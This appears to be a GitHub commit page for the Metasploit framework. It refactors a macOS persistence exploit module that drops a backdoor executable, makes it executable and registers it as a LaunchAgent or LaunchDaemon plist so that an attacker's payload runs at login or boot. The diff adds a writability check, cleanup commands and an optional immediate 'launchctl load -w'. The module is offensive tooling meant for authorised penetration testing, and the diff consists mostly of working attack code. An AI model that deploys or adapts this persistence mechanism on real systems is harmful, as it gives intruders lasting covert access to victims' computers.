Skip to content

Commit 04188cb

Browse files
authored
Merge pull request rapid7#20527 from h00die/modern_persistence_plist
update plist persistence to mixin
2 parents 4526ae9 + 2b16a23 commit 04188cb

File tree

1 file changed

+33
-21
lines changed

1 file changed

+33
-21
lines changed

modules/exploits/osx/local/persistence.rb renamed to modules/exploits/osx/persistence/launch_plist.rb

Lines changed: 33 additions & 21 deletions
Original file line numberDiff line numberDiff line change
@@ -11,6 +11,10 @@ class MetasploitModule < Msf::Exploit::Local
1111
include Msf::Post::Common
1212
include Msf::Post::File
1313
include Msf::Exploit::EXE
14+
include Msf::Exploit::Local::Persistence
15+
prepend Msf::Exploit::Remote::AutoCheck
16+
include Msf::Exploit::Deprecated
17+
moved_from 'exploits/osx/local/persistence'
1418

1519
def initialize(info = {})
1620
super(
@@ -23,13 +27,15 @@ def initialize(info = {})
2327
upon login by a plist entry in ~/Library/LaunchAgents. LaunchDaemons run with
2428
elevated privilleges, and are launched before user login by a plist entry in the ~/Library/LaunchDaemons directory.
2529
In either case the plist entry specifies an executable that will be run before or at login.
30+
31+
Verified on OSX 11.7.10 (Big Sur)
2632
},
2733
'License' => MSF_LICENSE,
2834
'Author' => [ "Marcin 'Icewall' Noga <marcin[at]icewall.pl>", 'joev' ],
2935
'Targets' => [
3036
[ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ],
3137
[ 'Mac OS X x86 (Native Payload for 10.14 and earlier)', { 'Arch' => ARCH_X86, 'Platform' => [ 'osx' ] } ],
32-
['Mac OS X Apple Sillicon', { 'Arch' => ARCH_AARCH64, 'Platform' => ['osx'] }],
38+
[ 'Mac OS X Apple Sillicon', { 'Arch' => ARCH_AARCH64, 'Platform' => ['osx'] }],
3339
[ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],
3440
[ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],
3541
],
@@ -38,13 +44,14 @@ def initialize(info = {})
3844
'DisclosureDate' => '2012-04-01',
3945
'Platform' => [ 'osx', 'python', 'unix' ],
4046
'References' => [
41-
'https://taomm.org/vol1/pdfs/CH%202%20Persistence.pdf',
42-
'https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html'
47+
['URL', 'https://taomm.org/vol1/pdfs/CH%202%20Persistence.pdf'],
48+
['URL', 'https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html'],
49+
['ATT&CK', Mitre::Attack::Technique::T1647_PLIST_FILE_MODIFICATION]
4350
],
4451
'Notes' => {
45-
'Reliability' => UNKNOWN_RELIABILITY,
46-
'Stability' => UNKNOWN_STABILITY,
47-
'SideEffects' => UNKNOWN_SIDE_EFFECTS
52+
'Stability' => [CRASH_SAFE],
53+
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
54+
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, SCREEN_EFFECTS] # Pop-up on 13.7.4
4855
}
4956
)
5057
)
@@ -61,9 +68,19 @@ def initialize(info = {})
6168
[false, 'Run the installed payload immediately.', false]),
6269
OptEnum.new('LAUNCH_ITEM', [true, 'Type of launch item, see description for more info. Default is LaunchAgent', 'LaunchAgent', %w[LaunchAgent LaunchDaemon]])
6370
])
71+
deregister_options('WritableDir')
72+
end
73+
74+
def check
75+
folder = File.dirname(backdoor_path).shellescape
76+
folder = File.dirname(folder)
77+
return CheckCode::Safe("#{folder} not found") unless exists?(folder)
78+
return CheckCode::Safe("#{folder} not writable") unless writable?(folder)
79+
80+
CheckCode::Appears("#{folder} is writable")
6481
end
6582

66-
def exploit
83+
def install_persistence
6784
check_for_duplicate_entry
6885

6986
if target['Arch'] == ARCH_PYTHON
@@ -78,8 +95,9 @@ def exploit
7895
write_backdoor(payload_bin)
7996
# Add plist file to LaunchAgents dir
8097
add_launchctl_item
81-
# tell the user how to remove the persistence if necessary
82-
list_removal_paths
98+
@clean_up_rc << "rm #{plist_path}\n"
99+
@clean_up_rc << "execute -f /bin/launchctl -a \"stop #{File.basename(backdoor_path)}\"\n"
100+
@clean_up_rc << "execute -f /bin/launchctl -a \"remove #{File.basename(backdoor_path)}\"\n"\
83101
end
84102

85103
private
@@ -89,7 +107,7 @@ def add_launchctl_item
89107
label = File.basename(backdoor_path)
90108
cmd_exec("mkdir -p #{File.dirname(plist_path).shellescape}")
91109
# NOTE: the OnDemand key is the OSX < 10.4 equivalent of KeepAlive
92-
item = <<-EOI
110+
item = <<-EOF
93111
<?xml version="1.0" encoding="UTF-8"?>
94112
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
95113
<plist version="1.0">
@@ -110,16 +128,19 @@ def add_launchctl_item
110128
<#{keepalive?}/>
111129
</dict>
112130
</plist>
113-
EOI
131+
EOF
114132

115133
if write_file(plist_path, item)
116134
print_good("LaunchAgent added: #{plist_path}")
135+
@clean_up_rc << "rm #{plist_path}\n"
117136
else
118137
fail_with(Failure::UnexpectedReply, "Error writing LaunchAgent item to #{plist_path}")
119138
end
120139

121140
if run_now?
122141
cmd_exec("launchctl load -w #{plist_path.shellescape}")
142+
else
143+
print_warning("To manually launch payload: launchctl load -w #{plist_path.shellescape}")
123144
end
124145

125146
print_good('LaunchAgent installed successfully.')
@@ -145,16 +166,6 @@ def keepalive?
145166
datastore['KEEPALIVE']
146167
end
147168

148-
# useful if you want to remove the persistence.
149-
# prints out a list of paths to remove and commands to run.
150-
def list_removal_paths
151-
removal_command = "rm -rf #{File.dirname(backdoor_path).shellescape}"
152-
removal_command << " ; rm #{plist_path}"
153-
removal_command << " ; launchctl remove #{File.basename(backdoor_path)}"
154-
removal_command << " ; launchctl stop #{File.basename(backdoor_path)}"
155-
print_status("To remove the persistence, run:\n#{removal_command}\n")
156-
end
157-
158169
# path to the LaunchAgent service configuration plist
159170
# @return [String] path to the LaunchAgent service
160171
def plist_path
@@ -180,6 +191,7 @@ def write_backdoor(exe)
180191
if write_file(backdoor_path, exe)
181192
print_good("Backdoor stored to #{backdoor_path}")
182193
cmd_exec("chmod +x #{backdoor_path.shellescape}")
194+
@clean_up_rc << "rm #{backdoor_path}\n"
183195
else
184196
fail_with(Failure::UnexpectedReply, "Error dropping backdoor to #{backdoor_path}")
185197
end

0 commit comments

Comments
 (0)